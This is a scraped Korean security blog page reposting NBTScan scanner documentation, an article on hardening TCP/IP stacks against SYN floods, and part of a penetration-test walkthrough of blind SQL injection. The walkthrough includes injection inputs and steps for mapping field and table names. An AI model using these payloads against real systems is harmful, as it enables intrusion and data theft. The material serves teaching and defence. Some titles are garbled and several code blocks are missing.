글 검색 결과
- 2009/01/21 Foundstone Free Tools
- 2007/07/18 NBTScan. NetBIOS Name Network Scanner. (2)
- 2007/07/06 Unix/Linux 해킹 피해 시스템 분석 절차
- 2007/06/18 Hardening the TCP/IP stack to SYN attacks
- 2007/05/10 원격 네트워크 로그인의 중앙화와 보안
- 2007/04/30 SQL Injection Attacks by Example
- 2007/04/25 How to Exploit Overflow Vulnerability Under Fedora Core
- 2007/04/13 WARMING UP on STACK(1~4)
- 2007/04/13 리버스 텔넷 쉘코드
- 2007/04/13 Windows Keylogger 제작하기
Foundstone Free Tools
- 이 글의 트랙백 주소
- http://www.webdizen.net/blog/trackback/3313
-
cheap jordan shoes @ 2012/01/13 10:36-

- well this blog is pretty interesting & useful from my point of view, only thing that lacks in it is that the content is very less.. http://www.cheapjordanshoes247.com
- 댓글 남기기
NBTScan. NetBIOS Name Network Scanner.
General Information
NBTscan is a program for scanning IP networks for NetBIOS name information. It sends NetBIOS status query to each address in supplied range and lists received information in human readable form. For each responded host it lists IP address, NetBIOS computer name, logged-in user name and MAC address.
Version 1.5 is now available. See Change Log for changes since previous release.
NBTscan compiles and runs on Unix and Windows. I have tested it on Windows NT 4.0, Windows 2000, FreeBSD 4.3, OpenBSD 2.8 and RedHat Linux 7.1 and 7.3. It should also compile and run on Solaris and other Linuxes as well.
Steve Coleman (Steve (dot) Coleman (at) jhuapl (dot) edu) ported previous versions of NBTscan to Solaris, HP-UX and OSF/1 and fixed several bugs. He reports that NBTscan also runs on IRIX/SGI with minor problems. I was also told that NBTscan runs on AIX (Antonio Dell'elce) and SunOS 4.1.3_U1 (Joe Cline). Mohammad A. Haque (mhaque (at) haque (dot) net) ported nbtscan to Darwin.
This program is a successor of a perl script with the same name and does essentially the same thing, being much faster though. NBTscan produces a report like that:
IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
192.168.1.2 MYCOMPUTER JDOE 00-a0-c9-12-34-56
192.168.1.5 WIN98COMP <server> RROE 00-a0-c9-78-90-00
192.168.1.123 DPTSERVER <server> ADMINISTRATOR 08-00-09-12-34-56
First column lists IP address of responded host. Second column is computer name. Third column indicates if this computer shares or is able to share files or printers. For NT machine it means that Server Service is running on this computer. For Windows 95 it means that "I want to be able to give others access to my files" or "I want to be able to allow others to print on my printer(s)" checkbox is ticked (in Control Panel/Network/File and Print Sharing). Most often it means that this computer shares files. Third column shows user name. If no one is logged on from this computer it is same as computer name. Last column shows adapter MAC address.
If run with -v switch NBTscan lists whole NetBIOS name table for each responded address. The output looks like that:
NetBIOS Name Table for Host 192.168.1.123:
Name Service Type
----------------------------------------
DPTSERVER <00> UNIQUE
DPTSERVER <20> UNIQUE
DEPARTMENT <00> GROUP
DEPARTMENT <1c> GROUP
DEPARTMENT <1b> UNIQUE
DEPARTMENT <1e> GROUP
DPTSERVER <03> UNIQUE
DEPARTMENT <1d> UNIQUE
??__MSBROWSE__? <01> GROUP
INet~Services <1c> GROUP
IS~DPTSERVER <00> UNIQUE
DPTSERVER <01> UNIQUE
Adapter address: 00-a0-c9-12-34-56
----------------------------------------
FAQ
Where can I get NBTscan?
Download it from http://www.inetcat.net/software/nbtscan.html . I used to have inetcat.org domain but it was grabbed by cybersquatters, so I had to move to inetcat.net.
Is there source code available ?
Yes. Same as above.
NBTscan lists my Windows boxes just fine but does not list my unixes or routers. Why?
That is the way it is supposed to work. NBTscan uses NetBIOS for scanning and NetBIOS is only implemented by Windows (and some software on Unix such as Samba)
I get some error message on a certain operating system while compiling or running NBTscan. What can I do?
If you get errors compiling there is not much I can help you with. I don't have every possible version of every possible OS, so I wouldn't be able to reproduce your problem. Try to figure out what is going wrong, make a patch and send it to me. :)
If you get unexpected results running nbtscan and you think it is a bug, send me a bug report. Describe your environment (OS, version of nbtscan, how big the network you are scanning is, are there any firewalls on the way) and make a packet dump if possible. Comparing the results produced by nbtscan with results of nbtstat -a (Windows utility) also helps to find the problem. If you get same results from nbtscan and nbtstat, this probably means that the problem is in the network setup, not in nbtscan.
Are there any docs in Russian?
No. I am too lazy to do translation. If you are willing to translate docs to Russian or any other language for that matter, you are more than welcome.
How do I write NBTscan output into a file?
Just like any other program:
nbtscan 123.45.67.89 > filename
Works on both Unix and Windows.
How do I make NBTscan write its output one screen at a time?
Just like any other program:
nbtscan 123.45.67.89 | more
Works on both Unix and Windows.
How do I export NBTscan output into an Excel file?
Run nbtscan with "-s ," option (script-friendly output, use comma as a field separator) and open the resulting file in Excel.
Why do I get "Connection reset by peer" errors on Windows 2000?
NBTscan uses port 137 UDP for sending queries. If the port is closed on destination host destination will reply with ICMP "Port unreachable" message. Most operating system will ignore this message. Windows 2000 reports it to the application as "Connection reset by peer" error. Just ignore it.
Is there a GUI for nbtscan?
Yes. There are a couple of different GUIs sent to me by different people at different times. Warning: I got this software at different times from different people. I didn't test it and I didn't read the source code. I don't know if it works and what it does when it works, so don't blame me if it does something completely awfull to you or your computer. You have been warned.
- Use42 by Peter Feil (peter (dot) feil (at) one2many (dot) de) Use42 is a GUI wrapper form enum (by Jordan Ritter BindViewRazor), nbtscan (by me) and ipeye (by Arne Vidstrom). Runs on Windows.The author does not provide any source code. You can download it here.
- gui.exe was sent to me by r_i_c_h (at) btinternet (dot) com. It is a Windows GUI for nbtscan. r_i_c_h said he got it from someone else but lost the sources. You can download it here.
- xNBTscan was contributed by Brian (daten (at) dnetc (dot) org) and is a GTK2-base GUI for X. You can get it from here.
Why nbtscan doesn't scan for shares? Are you going to add share scanning to nbtscan?
No. NBTscan uses UDP for what it does. That makes it very fast. Share scanning requires TCP. For one thing, it will make nbtscan more slow. Also adding share scanning means adding a lot of new code to nbtscan. There is a lot of good share scanners around, so I see no reason to duplicate that work.
Why do I get 00-00-00-00-00-00 instead of MAC address when I scan a Samba box?
Because that's what Samba send in response to the query. Nbtscan just prints out what it gets.
Usage
NBTscan is a command-line tool. You have to supply at least one argument - address range in one of three forms:
| xxx.xxx.xxx.xxx | Single IP in dotted-decimal notation. Example: 192.168.1.1. |
| xxx.xxx.xxx.xxx/xx | Net address and subnet mask. Example: 192.168.1.0/24 |
| xxx.xxx.xxx.xxx-xxx | Address range. Example: 192.168.1.1-127. This will scan all addresses from 192.168.1.1 to 192.168.1.127. |
It also understands the following switches:
>nbtscan -f my_ips.txt <output depends on other options>| Option | Meaning | Usage example |
|---|---|---|
| -v | verbose output. Print all names received from each host |
>nbtscan -v 192.168.1.123 |
| -d | dump packets. Print whole packet contents. Cannot be used with -v, -s or -h options. |
>nbtscan -d 192.168.1.123 |
| -e | Format output in /etc/hosts format. | > ./nbtscan -e 192.168.75.0/28 |
| -l | Format output in lmhosts format. | > ./nbtscan -e 192.168.75.0/28 |
| -t timeout | wait timeout seconds for response. Default 1. | >nbtscan -d 192.168.1.123 |
| -b bandwidth | Output throttling. Slow down packet output so that it uses no more that bandwidth bps. Useful on slow links, so that ougoing queries don't get dropped. | >nbtscan -b 28800 192.168.1.123 |
| -r | use local port 137 for scans. Win95 boxes respond to this only. You need to be root to use this option on Unix. | >nbtscan -r 192.168.1.123 |
| -q | Suppress banners and error messages | >nbtscan -q 192.168.1.123 |
| -s separator | Script-friendly output. Don't print column and record headers, separate fields with separator. | >nbtscan -s : 192.168.1.1-24 |
| -h | Print human-readble names for services. Can only be used with -v option. | >nbtscan -s : -h -v 192.168.1.1 |
| -m retransmits | Number of retransmits. Default 0. | >nbtscan -m 2 192.168.1.123 |
| -f filename | Take IP addresses to scan from file filename |
Installation
Installing from Win32 binaries
- Download zip archive
- Unpack it
- Put nbtscan.exe and cygwin1.dll to directory in your PATH, such as winnt/system32
- That's all. Now you can run nbtscan from command prompt.
Installing from sources on Windows
- Download and install Cygwin from http://sources.redhat.com/cygwin/
- Start Cygwin shell and proceed from there as in Unix installation
Installing from sources under Unix
- Ungzip and untar sources
- Run ./configure script
- Run make and make install
- That's all.
Perl version of NBTscan
NBTscan was first written in Perl. It is much more slow then its C cousin, and has less options, but it has an advantage also: Windows Perl script is able to receive responses from Windows 95 sent to port 137. So if you really have to scan Windows 95 boxes from Windows you can download and use Perl NBTscan. There is also a IpInfo (Perl script too) which runs both on NT and Unix, and gives some additional info (such as DNS host name). It was created by Steve Coleman.
Reporting bugs, sending comments, etc.
You can report bugs to the author (hey, that's me) alla (at) inetcat (dot) org. I am not promising to do anything about it, but I may well want to fix them. I shall also appreciate comments and suggestions. If you have somehow enhanced this program - send me a copy or a patch.
- NBTScan. NetBIOS Name Network Scanner. (2)2007/07/18
- Nmap? (0)2007/04/12
- nmap Option (0)2007/04/03
- 이 글의 트랙백 주소
- http://www.webdizen.net/blog/trackback/3079
Unix/Linux ?댄
- Foundstone Free Tools (1)2009/01/21
- Unix/Linux ?댄 (1)2007/07/06
- ? (0)2007/05/10
- SQL Injection Attacks by Example (0)2007/04/30
- ?댄 (0)2007/01/12
- ?댄 (0)2007/01/12
- [HWP] ? (0)2006/12/17
- [PDF] BackdoorTrojan (0)2006/12/17
- 이 글의 트랙백 주소
- http://www.webdizen.net/blog/trackback/3064
-
uggs clearance @ 2011/11/11 12:42-

-
http://www.moncler-outlet-online-shop.com moncler online
http://www.moncler-outlet-online-shop.net moncler online shop
- 댓글 남기기
Hardening the TCP/IP stack to SYN attacks
Most people know how problematic protection against SYN denial of service attacks can be. Several methods, more or less effective, are usually used. In almost every case proper filtering of packets is a viable solution. In addition to creating packet filters, the modification of the TCP/IP stack of a given operating system can be performed by an administrator. This method, the tuning of the TCP/IP stack in various operating systems, will be described in depth in this article.
While SYN attacks may not be entirely preventable, tuning the TCP/IP stack will help reduce the impact of SYN attacks while still allowing legitimate client traffic through. It should be noted that some SYN attacks do not always attempt to upset servers, but instead try to consume all of the bandwidth of your Internet connection. This kind of flood is outside the scope of scope of this article, as is the filtering of packets which has been discussed elsewhere.
What can an administrator do when his servers are under a classic, non-bandwidth flooding SYN attack? One of most important steps is to enable the operating system's built-in protection mechanisms like SYN cookies or SynAttackProtect. Additionally, in some cases it is worth tuning parameters of the TCP/IP stack. Changing the default values of stack variables can be another layer of protection and help better secure your hosts. In this paper I will concentrate on:
- Increasing the queue of half-open connections (in the SYN RECEIVED state).
- Decreasing the time period of keeping a pending connection in the SYN RECEIVED state in the queue. This method is accomplished by decreasing the time of the first packet retransmission and by either decreasing the number of packet retransmissions or by turning off packet retransmissions entirely. The process of packet retransmissions is performed by a server when it doesn't receive an ACK packet from a client. A Packet with the ACK flag finalizes the process of the three-way handshake
Note that an attacker can simply send more packets with the SYN flag set and then the above tasks will not solve the problem. However, we can still increase the likelihood of creating a full connection with legitimate clients by performing the above operations.
We should remember that our modification of variables will change the behavior of the TCP/IP stack. In some cases the values can be too strict. So, after the modification we have to make sure that our server can properly communicate with other hosts. For example, the disabling of packet retransmissions in some environments with low bandwidth can cause a legitimate request to fail. In this article you will find a description of the TCP/IP variables for the fallowing operating systems: Microsoft Windows 2000, RedHat Linux 7.3, Sun Solaris 8 and HP-UX 11.00. These variables are similar or the same in current releases.
Definitions: SYN flooding and SYN spoofing
A SYN flood is a type of Denial of Service attack. We can say that a victim host is under a SYN flooding attack when an attacker tries to create a huge amount of connections in the SYN RECEIVED state until the backlog queue has overflowed. The SYN RECEIVED state is created when the victim host receives a connection request (a packet with SYN flag set) and allocates for it some memory resources. A SYN flood attack creates so many half-open connections that the system becomes overwhelmed and cannot handle incoming requests any more. To increase an effectiveness of a SYN flood attack, an attacker spoofs source IP addresses of SYN packets. In this case the victim host cannot finish the initialization process in a short time because the source IP address can be unreachable. This malicious operation is called a SYN spoofing attack.
We need to know that the process of creating a full connection takes some time. Initially, after receiving a connection request (a packet with SYN flag set), a victim host puts this half-open connection to the backlog queue and sends out the first response (a packet with SYN and ACK flags set). When the victim does not receive a response from a remote host, it tries to retransmit this SYN+ACK packet until it times out, and then finally removes this half-open connection from the backlog queue. In some operating systems this process for a single SYN request can take about 3 minutes! In this document you will learn how to change this behavior. The other important information you need to know is that the operating system can handle only a defined amount of half-open connections in the backlog queue. This amount is controlled by the size of the backlog queue. For instance, the default backlog size is 256 for RedHat 7.3 and 100 for Windows 2000 Professional. When this size is reached, the system will no longer accept incoming connection requests.
How to detect a SYN attack
It is very simple to detect SYN attacks. The netstat command shows us how many connections are currently in the half-open state. The half-open state is described as SYN_RECEIVED in Windows and as SYN_RECV in Unix systems.
# netstat -n -p TCP
tcp 0 0 10.100.0.200:21 237.177.154.8:25882 SYN_RECV -
tcp 0 0 10.100.0.200:21 236.15.133.204:2577 SYN_RECV -
tcp 0 0 10.100.0.200:21 127.160.6.129:51748 SYN_RECV -
tcp 0 0 10.100.0.200:21 230.220.13.25:47393 SYN_RECV -
tcp 0 0 10.100.0.200:21 227.200.204.182:60427 SYN_RECV -
tcp 0 0 10.100.0.200:21 232.115.18.38:278 SYN_RECV -
tcp 0 0 10.100.0.200:21 229.116.95.96:5122 SYN_RECV -
tcp 0 0 10.100.0.200:21 236.219.139.207:49162 SYN_RECV -
tcp 0 0 10.100.0.200:21 238.100.72.228:37899 SYN_RECV -
...
We can also count how many half-open connections are in the backlog queue at the moment. In the example below, 769 connections (for TELNET) in the SYN RECEIVED state are kept in the backlog queue.
The other method for detecting SYN attacks is to print TCP statistics and look at the TCP parameters which count dropped connection requests. While under attack, the values of these parameters grow rapidly.
In this example we watch the value of the TcpHalfOpenDrop parameter on a Sun Solaris machine.
It is important to note that every TCP port has its own backlog queue, but only one variable of the TCP/IP stack controls the size of backlog queues for all ports.
The backlog queue
The backlog queue is a large memory structure used to handle incoming packets with the SYN flag set until the moment the three-way handshake process is completed. An operating system allocates part of the system memory for every incoming connection. We know that every TCP port can handle a defined number of incoming requests. The backlog queue controls how many half-open connections can be handled by the operating system at the same time. When a maximum number of incoming connections is reached, subsequent requests are silently dropped by the operating system. As mentioned before, when we detect a lot of connections in the SYN RECEIVED state, host is probably under a SYN flooding attack. Moreover, the source IP addresses of these incoming packets can be spoofed. To limit the effects of SYN attacks we should enable some built-in protection mechanisms. Additionally, we can sometimes use techniques such as increasing the backlog queue size and minimizing the total time where a pending connection in kept in allocated memory (in the backlog queue).
Built-in protection mechanisms
Operating system: Windows 2000
The most important parameter in Windows 2000 and also in Windows Server 2003 is SynAttackProtect. Enabling this parameter allows the operating system to handle incoming connections more efficiently. The protection can be set by adding a SynAttackProtect DWORD value to the following registry key:
In general, when a SYN attack is detected the SynAttackProtect parameter changes the behavior of the TCP/IP stack. This allows the operating system to handle more SYN requests. It works by disabling some socket options, adding additional delays to connection indications and changing the timeout for connection requests.
When the value of SynAttackProtect is set to 1, the number of retransmissions is reduced and according to the vendor, the creation of a route cache entry is delayed until a connection is made. The recommended value of SynAttackProtect is 2, which additionally delays the indication of a connection to the Windows Socket until the three-way handshake is completed. During an attack, better performance in handling connections is achieved by disabling the use of a few parameters (these parameters are usually used by the system during the process of creating new connections). The TCPInitialRTT parameter, which defines the time of the first retransmission, will no longer work. It's impossible to negotiate the window size value. Also, the scalable windows option is disabled on any socket.
As we can see, by enabling the SynAttackProtect parameter we don't change the TCP/IP stack behavior until under a SYN attack. But even then, when SynAttackProtect starts to operate, the operating system can handle legitimate incoming connections.
The operating system enables protection against SYN attacks automatically when it detects that values of the following three parameters are exceeded. These parameters are TcpMaxHalfOpen, TcpMaxHalfOpenRetried and TcpMaxPortsExhausted.
To change the values of these parameters, first we have to add them to the same registry key as we made for SynAttackProtect.
The TcpMaxHalfOpen registry entry defines the maximum number of SYN RECEIVED states which can be handled concurrently before SYN protection starts working. The recommended value of this parameter is 100 for Windows 2000 Server and 500 for Windows 2000 Advanced Server.
TcpMaxHalfOpenRetried defines the maximum number of half-open connections, for which the operating system has performed at least one retransmission, before SYN protection begins to operate. The recommended value is 80 for Windows 2000 Server, and 400 for Advanced Server.
The TcpMaxPortsExhausted registry entry defines the number of dropped SYN requests, after which the protection against SYN attacks starts to operate. Recommended value is 5.
| Subkey Registry Value Entry | Format | Value |
| EnableDynamicBacklog | DWORD | 1 |
| MinimumDynamicBacklog | DWORD | 20 |
| MaximumDynamicBacklog | DWORD | 20000 |
| DynamicBacklogGrowthDelta | DWORD | 10 |
RedHat,like other Linux operating systems, has implemented a SYN cookies mechanism which can be enabled in the following way:
Note that to make this change permanent we need to create a startup file that sets this variable. We must do the same operation for other UNIX variables described in this paper because the values for these variables will return to default upon system reboot.
SYN cookies protection is especially useful when the system is under a SYN flood attack and source IP addresses of SYN packets are also forged (a SYN spoofing attack). This mechanism allows construction of a packet with the SYN and ACK flags set and which has a specially crafted initial sequence number (ISN), called a cookie. The value of the cookie is not a pseudo-random number generated by the system but instead is the result of a hash function. This hash result is generated from information like: source IP, source port, destination IP, destination port plus some secret values. During a SYN attack the system generates a response by sending back a packet with a cookie, instead of rejecting the connection when the SYN queue is full. When a server receives a packet with the ACK flag set (the last stage of the three-way handshake process) then it verifies the cookie. When its value is correct, it creates the connection, even though there is no corresponding entry in the SYN queue. Then we know that it is a legitimate connection and that the source IP address was not spoofed. It is important to note that the SYN cookie mechanism works by not using the backlog queue at all, so we don't need to change the backlog queue size. More information about SYN cookies can be found at http://cr.yp.to/syncookies.html.
Also note that the SYN cookies mechanism works only when the CONFIG_SYNCOOKIES option is set during kernel compilation.
The next section will describe other useful methods of protection against SYN attacks. I would like to emphasize that under heavy SYN attacks (like Distributed SYN flooding attack) these methods may help but still not solve the problem.
Increasing the backlog queue
Under a SYN attack, we can modify the backlog queue to support more connections in the half-open state without denying access to legitimate clients. In some operating systems, the value of the backlog queue is very low and vendors often recommend increasing the SYN queue when a system is under attack. Increasing the backlog queue size requires that a system reserve additional memory resources for incoming requests. If a system has not enough memory for this operation, it will have an impact on system performance. We should also make sure that network applications like Apache or IIS can accept more connections.
Operating system: Windows 2000
Aside from described above TcpMaxHalfOpen and TcpMaxHalfOpenRetried variables, in Windows 2000 the number of connections handled in the half-open state can be set through a dynamic backlog. Configuration of this dynamic backlog is accomplished via the AFD.SYS driver. This kernel-mode driver is used to support Windows Socket applications like FTP and Telnet. To increase the number of half-open connections, AFD.SYS provides four registry entries. All of these values, corresponding to AFD.SYS, are located under the following registry key:
The EnableDynamicBacklog registry value is a global switch to enable or disable a dynamic backlog. Setting it to 1 enables the dynamic backlog queue.
MinimumDynamicBacklog controls the minimum number of free connections allowed on a single TCP port. If the number of free connections drops below this value, then additional free connections are created automatically. Recommended value is 20.
The MaximumDynamicBacklog registry value defines the sum of active half-open connections and the maximum number of free connections. When this value is exceeded, no more free connections will be created by a system. Microsoft suggests that this value should not exceed 20000.
The last DynamicBacklogGrowthDelta parameter controls the number of free connections to be created when additional connections are necessary. Recommended value: 10.
The table below shows the recommended values for the AFD.SYS driver:
Operating system: Linux
A tcp_max_syn_backlog variable defines how many half-open connections can be kept by the backlog queue. For instance 256 is a total number of half-open connections handled in memory by Linux RedHat 7.3. The TCP/IP stack variables can be configured by sysctl or standard Unix commands. The following example shows how to change the default size of the backlog queue by the sysctl command:
Operating system: Sun Solaris
In Sun Solaris there are two parameters which control the maximum number of connections. The first parameter controls the total number of full connections. The second tcp_conn_req_max_q0 parameter defines how many half-open connections are allowed without the dropping of incoming requests. In Sun Solaris 8, the default value is set to 1024. Using the ndd command we can modify this value.
Operating system: HP-UX
In HP-UX, a tcp_syn_rcvd_max TCP/IP stack variable is responsible for control of the maximum number of half-open connections in the SYN RECEIVE state. In HP-UX 11.00 this value is set to 500. We can change this value by using the ndd command, similar to the one used in a Sun Solaris system.
Decreasing total time of handling connection request
As we know, SYN flooding/spoofing attacks are simply a series of SYN packets, mostly from forged IP addresses. In the last section we tried to increase the backlog queue. Now that our systems can handle more SYN requests, we should decrease the total time we keep half-open connections in the backlog queue. When a server receives a request, it immediately sends a response with the SYN and ACK flags set, puts this half-open connection into the backlog queue, and then waits for a packet with the ACK flag set from the client. When no response is received from the client, the server retransmits a response packet (with the SYN and ACK flags set) several times (depending on default value in each operating system) by giving the client a chance to send the ACK packet again. It is clear that when the source IP address of client was spoofed, the ACK packet will never arrive. After a few minutes the server removes this half-open connection. We can speed up this time of removing connections in the SYN RECEIVED state from the backlog queue by changing time of first retransmission and by changing the total number of retransmissions. Another technique of protection against SYN attacks is switching off some TCP parameters that are always negotiated during the three-way handshake process. Some of these parameters are automatically turned off by mechanisms described in the first section (SynAttackProtect and Syncookies).
Now, I will describe TCP/IP stack variables which allow a decrease in the time half-open connections are kept in the backlog queue.
Operating system: Windows 2000
In Windows 2000, the default time for a first retransmission is set to 3 seconds (3000 milliseconds) and can be changed by modifying the value of the TcpInitialRtt registry entry (for every interface). For example, to decrease time of a first retransmission to 2 seconds we have to set this registry value to 2000 milliseconds in decimal format. The number of retransmissions (packets with the SYN and ACK flags set) is controlled by a TcpMaxConnectResponseRetransmissions registry parameter which has to be added to HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters registry key.
The table below contains a few examples of values and corresponding times for keeping half-open connections in the backlog queue (the time of a first retransmission is set to 3 seconds).
| Value | Time of retransmission | Total time to keep half-open connections in the backlog queue |
| 1 | in 3rd second | 9 seconds |
| 2 | in 3rd and 9th second | 21 seconds |
| 3 | in 3rd , 9th and 21st second | 45 seconds |
We can set this registry value to 0, whereby Windows doesn't try to retransmit packets at all. In this case, the system sends only one response and cancels the half-open connection after 3 seconds. This setting is ignored when its value is equal or greater than 2 and when SynAttackProtect is enabled.
Operating system: Linux RedHat
A tcp_synack_retries variable is responsible for controlling the number of retransmissions in Linux operating system. Its default value is set to 5 for most Linux operating systems, which causes the half-open connection to be removed after 3 minutes. In the below table there are calculations for other values.
| Value | Time of retransmission | Total time to keep half-open connections in the backlog queue |
| 1 | in 3rd second | 9 seconds |
| 2 | in 3rd and 9th second | 21 seconds |
| 3 | in 3rd , 9th and 21st second | 45 seconds |
Operating system: Sun Solaris
In this operating system it is impossible to turn off retransmissions of packets directly using the ndd command. Moreover, in Sun Solaris there are parameters which are non-configurable by ndd and which control the number of retransmissions (at least 3) and total time of packet retransmissions (at least 3 minutes). More information about these parameters can be found in the "Solaris 2.x - Tuning Your TCP/IP stack and More" document.
Operating system: HP-UX
For HP-UX, the time spent handling half-open connections in the backlog queue is controlled by the tcp_ip_abort_cinterval parameter. By using the ndd command we can define how long a HP-UX operating system will be waiting for the ACK packet. We can control how many retransmissions will be performed indirectly by changing this value. Have a look at the table below.
| Value | Time of retransmission | Total time to keep half-open connections in the backlog queue |
| 1000 | - | 1 second |
| 5000 | in 2nd second | 5 seconds |
| 10000 | in 2nd and 5th second | 10 seconds |
| 60000 | In 2nd, 5th, 11th, 23rd and 47th second | 1 minute |
We can change the time of a first retransmission by modifying tcp_rexmit_interval_initial. Intervals of subsequent retransmissions are controlled by two parameters: tcp_rexmit_interval and tcp_rexmit_interval_min. These three variables are the same as in a Sun Solaris operating system.
Summary
The methods of hardening the TCP/IP stack that are presented in this article make servers more resistant to SYN flooding and SYN spoofing - Denial of Service attacks. A modification of your default TCP/IP stack settings is also recommended during the process of securing of the operating system.
Mariusz Burdach is a computer security consultant who specializes in vulnerability assessment, intrusion detection and computer forensics. During the last few years he has worked as a consultant in the European Network Security Institute where he conducted penetration tests, vulnerability assessments and security audits for Internet banks, government and financial institutions in Poland. He is co-author of the Solaris Security Administrator's Guide, a step-by-step guide to securing SUN's Solaris operating system. Comments on this article are appreciated, send them to M_Burdach@compfort.pl.
References
- "Microsoft Windows 2000 TCP/IP Implementation Details"
- "How To: Harden the TCP/IP Stack Against Denial of Service Attacks in Windows 2000"
- "How To: Harden the TCP/IP Stack Against Denial of Service Attacks in Windows Server 20003"
- "Solaris[tm] Operating Environment Network Settings for Security"
- "Building a bastion host using hp-ux 11"
- "Solaris 2.x - Tuning Your TCP/IP Stack and More"
- SYN cookies mechanism
- Phrack Magazine 48 "Project Neptune"
- "G.E.N.E.S.I.S"
- "Distributed Reflection Denial of Service"
Copyright 2006, SecurityFocus
- Hardening the TCP/IP stack to SYN attacks (0)2007/06/18
- ARP ?ㅽ (0)2006/11/24
- Login Spoofing 湲곕쾿 (0)2006/11/24
- IP Spoofing (0)2006/11/24
- 이 글의 트랙백 주소
- http://www.webdizen.net/blog/trackback/3048
- 댓글 남기기
?
- Foundstone Free Tools (1)2009/01/21
- Unix/Linux ?댄 (1)2007/07/06
- ? (0)2007/05/10
- SQL Injection Attacks by Example (0)2007/04/30
- ?댄 (0)2007/01/12
- ?댄 (0)2007/01/12
- [HWP] ? (0)2006/12/17
- [PDF] BackdoorTrojan (0)2006/12/17
- 이 글의 트랙백 주소
- http://www.webdizen.net/blog/trackback/2919
- 댓글 남기기
SQL Injection Attacks by Example
Introduction
A customer asked that we check out his intranet site, which was used by the company's employees and customers. This was part of a larger security review, and though we'd not actually used SQL injection to penetrate a network before, we were pretty familiar with the general concepts. We were completely successful in this engagement, and wanted to recount the steps taken as an illustration.
"SQL Injection" is subset of the an unverified/unsanitized user input vulnerability ("buffer overflows" are a different subset), and the idea is to convince the application to run SQL code that was not intended. If the application is creating SQL strings naively on the fly and then running them, it's straightforward to create some real surprises.
We'll note that this was a somewhat winding road with more than one wrong turn, and others with more experience will certainly have different -- and better -- approaches. But the fact that we were successful does suggest that we were not entirely misguided.
There have been other papers on SQL injection, including some that are much more detailed, but this one shows the rationale of discovery as much as the process of exploitation.
The Target Intranet
This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a "blind" attack. A bit of poking showed that this server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server.
The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system.
When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since my email address is not found, it wasn't going to send me anything.
So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the "broken" input is actually being parsed literally. Bingo.
We speculate that the underlying SQL code looks something like this:
Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later.
When we enter steve@unixwiz.net' - note the closing quote mark - this yields constructed SQL:
when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error-recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation.
Since the data we're filling in appears to be in the WHERE clause, let's change the nature of that clause in an SQL legal way and see what happens. By entering anything' OR 'x'='x, the resulting SQL is:
Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component WHERE clause into a two-component one, and the 'x'='x' clause is guaranteed to be true no matter what the first clause is (there is a better approach for this "always true" part that we'll touch on later).
But unlike the "real" query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with:
Our best guess is that it's the first record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere.
We now know that we're able to manipulate the query to our own ends, though we still don't know much about the parts of it we cannot see. But we have observed three different responses to our various inputs:
- "Your login information has been mailed to email"
- "We don't recognize your email address"
- Server error
The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query.
Schema field mapping
The first steps are to guess some field names: we're reasonably sure that the query includes "email address" and "password", and there may be things like "US Mail address" or "userid" or "phone number". We'd dearly love to perform a SHOW TABLE, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us.
So we'll do it in steps. In each case, we'll show the whole query as we know it, with our own snippets shown specially. We know that the tail end of the query is a comparison with the email address, so let's guess email as the name of the field:
The intent is to use a proposed field name (email) in the constructed query and find out if the SQL is valid or not. We don't care about matching the email address (which is why we use a dummy 'x'), and the -- marks the start of an SQL comment. This is an effective way to "consume" the final quote provided by application and not worry about matching them.
If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response.
Note, however, that we use the AND conjunction instead of OR: this is intentional. In the SQL schema mapping phase, we're not really concerned with guessing any particular email addresses, and we do not want random users inundated with "here is your password" emails from the application - this will surely raise suspicions to no good purpose. By using the AND conjunction with an email address that couldn't ever be valid, we're sure that the query will always return zero rows.
Submitting the above snippet indeed gave us the "email address unknown" response, so now we know that the email address is stored in a field email. If this hadn't worked, we'd have tried email_address or mail or the like. This process will involve quite a lot of guessing.
Next we'll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than "server failure" means we guessed the name correctly.
As a result of this process, we found several valid field names:
- passwd
- login_id
- full_name
There are certainly more (and a good source of clues is the names of the fields on forms), but a bit of digging did not discover any. But we still don't know the name of the table that these fields are found in - how to find out?
Finding the table name
The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.
A standalone query of
Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:
We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.
When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.
Finding some users
At this point we have a partial idea of the structure of the members table, but we only know of one username: the random member who got our initial "Here is your password" email. Recall that we never received the message itself, only the address it was sent to. We'd like to get some more names to work with, preferably those likely to have access to more data.
The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.
